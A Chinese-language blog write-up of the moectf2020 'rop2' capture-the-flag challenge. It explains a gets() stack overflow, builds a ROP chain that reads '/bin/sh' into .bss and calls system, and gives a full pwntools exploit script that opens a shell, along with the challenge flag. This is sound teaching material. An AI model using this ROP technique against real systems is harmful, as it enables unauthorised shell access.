moectf2020 write up for rop2

前言

和上一道题其实是差不多的,但是想了半天才想明白是怎么一回事QAQ

0x00.安全检查

首先使用checksec指令,发现其存在栈不可执行保护

image.png

0x01.逆向分析

拖进IDA,我们可以看到这一题和ROP1基本上没有太大的不同,都是直接存在gets函数的溢出漏洞

image.png

以及system函数的gadget和pop rdi的gadget

image.png

image.png

(plt表里也有system)

image.png

不同的是,这一次并没有给我们预留下可以利用的"/bin/sh"字符串Or2

image.png

0x02.漏洞利用

那么我们是否可以手动读入/bin/sh字符串呢?答案是肯定的

首先存在gets()函数可以读入字符串

image.png

其次我们在IDA中按下CTRL + S,可以看到存在一个可以供我们读写的.bss

image.png

那么我们只需要将/bin/sh字符串读到这个段上,再将之作为system函数的参数即可getshell

那么我们可以构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

e = ELF('rop2')
gets_addr = p64(e.symbols['gets'])
sys_addr = p64(e.symbols['system'])
pop_rdi = p64(0x400933)
bss_addr = p64(0x601080)#也可以用 e.bss() 快速获取可读写.bss段地址

payload = b'A'*136 + pop_rdi + bss_addr + gets_addr + pop_rdi + bss_addr + sys_addr

p = process('rop2')#p = remote('sec.eqqie.cn',10005)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

连接服务器,发送我们的payload,即可getshell

image.png

得到flag:

1
moectf{d44bc3cb-471b-4906-822b-ea5cb32c4acb}
Posted on

2020-12-09

Updated on

2020-12-26

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!